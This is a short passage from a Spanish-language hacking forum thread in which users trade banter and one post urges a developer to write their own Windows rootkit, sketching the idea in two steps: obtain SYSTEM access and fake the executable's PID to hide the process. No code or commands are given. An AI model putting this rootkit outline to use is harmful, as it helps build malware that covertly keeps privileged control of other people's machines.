Saludos, Sanko.
#179
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
¬¬ trollazo viste que lenguaje quiere realizar por lo tanto es para NT y no asi para UNIX lo que tienes que hacer es primero ver que tipo de injeccion (por asi decirlo) y jugar con la API de windows :)

EDIT: El idiota soy  yo sankoncio.. lo siento. :$

Regards,
Snifer
XD claro que lo eres :P
#180
Se supone que eres desarrollador y en lugar de buscar uno deberias de pensar en como hacer uno.
Analiza un poco...

El rootkit tendria que permitir el acceso a un privilegio de manera continua y en este caso tienes que ocultar un proceso...
Así que si analizas un poco solo deberias de :
- Conseguir acceso a system
- Falsear el PID del ejecutable

Que no se diga hombre...